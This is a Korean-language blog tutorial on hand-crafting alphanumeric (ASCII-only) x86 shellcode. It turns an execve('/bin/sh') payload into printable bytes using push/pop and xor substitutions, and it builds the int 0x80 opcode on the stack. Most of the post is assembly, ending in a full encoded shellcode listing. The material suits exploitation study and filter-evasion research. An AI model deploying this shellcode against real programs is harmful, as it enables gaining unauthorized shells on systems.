y0u_bat

Alphanumeric Shellcode (ascii shellcode) 작성 본문

System

Alphanumeric Shellcode (ascii shellcode) 작성

유뱃 2016. 2. 19. 04:18


기본적인 execve(/bin/sh,/bin/sh,null)을 실행시키는 쉘코드


xor %eax,%eax              -> 이부분

push %eax

push $0x68732f2f

push $0x6e69622f

mov %esp, %ebx          -> 이부분

push %eax

push %ebx

mov %esp, %ecx         -> 이부분

mov $0xb, %al             -> 이부분

int $0x80                    -> 이부분


보통 쉘코드는 이러한데, 아스키범위에 몇군데가 걸린다. 30~7a 


xor %eax, %eax -> push $0x31; pop %eax; xor $0x31, %al     // 이런식으로 바꿀수있습니다.

mov %esp, %ebx -> push %esp; pop %ebx   // pop push로 해결

mov %esp, %ecx -> push %esp; pop %ecx // 마찬가지로 pop push로 해결

mov $0xb, %al -> push $0x38; pop %eax; xor $0x33, %al  // xor를 통해 0xb를 만듬


가장 중요한건 int $0x80을 보면 cd80이 아스키범위랑 많이 차이는데, 이걸 해결 해야된다.


push $0x31

pop %eax

xor $0x31, %al              

push %eax

push $0x68732f2f

push $0x6e69622f

push  %esp

pop %ebx    

push %eax

push %ebx

push %esp

pop  %ecx

push $0x38

pop %eax

xor $0x33, %al

int $0x80                    -> 이부분



int $0x80 을 cd80을 스택에 넣게 되면, 결과적으로 cd80이 실행된다.


push $0x474780cd --> 이부분

push %esp 


여기서 47은 inc edi 이다. 여기서는 edi는 사용하지 않는다.


xor 연산을 잘해서, 0x474780cd를 만들어 주면 된다.


int $0x80를 잘 바꾸면, 이렇게 된다.


push %eax

pop %edi

push $0x47474130

pop %eax

xor $0x4130, %ax

dec %ax

xor $0x3041, %ax

xor $0x4f73, %ax

push %eax

push %edi

pop %eax

push %esp




결과적으로 나온, 어셈


push $0x31

pop %eax

xor $0x31, %al              

push %eax

push $0x68732f2f

push $0x6e69622f

push  %esp

pop %ebx    

push %eax

push %ebx

push %esp

pop  %ecx

push $0x38

pop %eax

xor $0x33, %al

push %eax

pop %edi

push $0x47474130

pop %eax

xor $0x4130, %ax

dec %ax

xor $0x3041, %ax

xor $0x4f73, %ax

push %eax

push %edi

pop %eax

push %esp


만약 스택에 실행 권한이 없다면, 연산을 잘해서, 쓰기,실행권한이 있는 영역에 cd80을 잘두어서 거기로 리턴되겠끔 해야된다.





'System' 카테고리의 다른 글

QEMU-MIPS 환경 구축  (1) 2016.09.14
해킹캠프 13회 - equations 풀이  (0) 2016.02.28
pintool 메뉴얼 번역(공부한것들만)  (0) 2016.02.18
pintool 간단한 문제 풀이  (2) 2016.02.17
CVE-2015-0235 GHOST 취약점  (0) 2016.02.16
Comments